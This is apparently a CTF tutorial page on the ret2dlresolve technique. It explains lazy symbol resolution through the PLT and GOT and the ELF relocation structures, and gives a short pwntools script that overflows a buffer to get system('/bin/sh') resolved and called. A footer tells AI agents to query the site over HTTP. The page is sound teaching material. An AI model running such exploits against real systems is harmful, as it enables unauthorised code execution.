# Ret2dlresolve

The attacker tricks the binary into resolving an arbitrary function ( such as `system`) into the [PLT](/pwn/general-knowledge/plt-and-got.md).

The attacks can then use this PLT function as an original binary's function, bypassing ASLR and requiring no libc leaks.

## How it works ?

Dynamically-linked ELF objects import `libc` functions when they are first called using the [PLT and GOT](/pwn/general-knowledge/plt-and-got.md). During the relocation of a runtime symbol, RIP will jump to the PLT and attempt to resolve the symbol. During this process a "resolver" is called.

1. From the `.text` section, instead of calling read directly, there is a call to the corresponding function in the `.plt` section (`0x401090`).

```wasm
0x00000000004015c9 <+129>: call 0x401090 <printf@plt>
```

2\. From here, there is an indirect jump in the corresponding `.got.plt` section (`0x404048`)

```wasm
0x401090 <printf@plt>: jmp QWORD PTR [rip+0x2fb2] # 0x404048 <printf@got.plt>
```

3\. Since the symbol has not been resolved yet, this address contains the address of the next instruction in the function stub (`0x401096`).

```wasm
gdb-peda$ x/gx 0x404048
0x404048 <printf@got.plt>: 0x0000000000401096
```

4\. At this point, the execution flow is redirected to the next instruction in the function stub. Here, reloc\_arg is pushed on the stack.

```wasm
0x401096 <printf@plt+6>: push 0x6 # reloc_offset
```

5\. The last instruction in the function stub is an indirect jump to the default stub (0x401020). Here the link\_map address is pushed on the stack and finally the control is given to \_dl\_runtime\_resolve().

```wasm
0x40109b <printf@plt+11>: jmp 0x401020
```

```wasm
0x401020: push QWORD PTR [rip+0x2fe2] # 0x404008 # link_map
0x401026: jmp  QWORD PTR [rip+0x2fe4] # 0x404010 # _dl_runtime_resolve
```

{% hint style="info" %}
If the \*\*`GOT` \*\* entry is unpopulated, the `reloc_offset` value is pushed and the binary jump to the beginning of the `.plt` section. A few instructions later, the `dl-resolve()` function is called, with `reloc_offset` being one of the arguments. It then uses this `reloc_offset` to calculate the **relocation and symtab entries**.
{% endhint %}

In order to resolve the functions, there are 3 structures that need to exist within the binary.

There are the 3 structures :

```bash
$ readelf -d server
0x0000000000000005 (STRTAB) 0x400668
0x0000000000000006 (SYMTAB) 0x4003c8
0x0000000000000017 (JMPREL) 0x4007f8
```

* **JMPREL** segment (`.rel.plt`) that stores the Relocation Table, which maps each entry to a symbol

```bash
$ readelf -r chall
Relocation section '.rela.plt' at offset 0x7f8 contains 25 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
...
000000404048  000700000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
...
000000404070  000c00000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
...
```

The column `name` coresponds to the symbol name. The `offset` is the GOT entry for the symbol. `info` stores additional metadata.

{% hint style="info" %}
These entry are of type `Elf32_Rel` for 0x86 instruction set and `Elf64_Rel` for 0x64 instruction set.

```c
typedef struct {
        Elf32_Addr      r_offset;
        Elf32_Word      r_info;
} Elf32_Rel;

typedef struct {
        Elf64_Addr      r_offset;
        Elf64_Xword     r_info;
} Elf64_Rel;

/* How to extract information held in the r_info field.  */
#define ELF32_R_SYM(info)             ((info)>>8)
#define ELF64_R_SYM(info)             ((info)>>32)
```

{% endhint %}

* **STRTAB**, a strings table for the names.

```bash
gdb-peda$ x/5s 0x400668
0x400668:       ""
0x400669:       "dprintf"
0x400671:       "socket"
0x400678:       "exit"
0x40067d:       "htons"
```

* **SYMTAB**, store symbol informations in structure.

```c
typedef struct 
{ 
   Elf32_Word st_name ; /* Symbol name (string tbl index) */
   Elf32_Addr st_value ; /* Symbol value */ 
   Elf32_Word st_size ; /* Symbol size */ 
   unsigned char st_info ; /* Symbol type and binding */ 
   unsigned char st_other ; /* Symbol visibility under glibc>=2.2 */ 
   Elf32_Section st_shndx ; /* Section index */ 
} Elf32_Sym ;

typedef struct {
        Elf64_Word      st_name; /* Symbol name (string tbl index) */
        unsigned char   st_info; /* Symbol type and binding */ 
        unsigned char   st_other; /* Symbol visibility under glibc>=2.2 */ 
        Elf64_Half      st_shndx; /* Section index */ 
        Elf64_Addr      st_value; /* Symbol value */ 
        Elf64_Xword     st_size; /* Symbol size */ 
} Elf64_Sym;

```

The most important value here is `st_name` as this gives the **offset in STRTAB of the symbol name**. The other fields are not relevant to the exploit itself.

## Exploit

Faking these 3 structures could enable to trick the linker into resolving an arbitrary function, parameters can also be pass in (such as `/bin/sh`) once resolved.

{% hint style="success" %}
pwntools contains a `Ret2dlresolvePayload` function that can automate the majority of the exploit
{% endhint %}

```python
from pwn import *

elf = context.binary = ELF('./chall')
p = elf.process()
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * offset) # Trigger the buffer overflow
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset

p.sendline(rop.chain())
p.sendline(dlresolve.payload)    
```

This function will fake and write the structures at the correct address in order to call an arbitrary function `system` with `/bin/sh` as argument.

{% hint style="warning" %}
Note that a method to edit an arbitrary memory location is needed. In the previous example, a ROP chain using `read` is used.
{% endhint %}

## Resources

{% embed url="<https://syst3mfailure.io/ret2dl_resolve>" %}

{% embed url="<https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
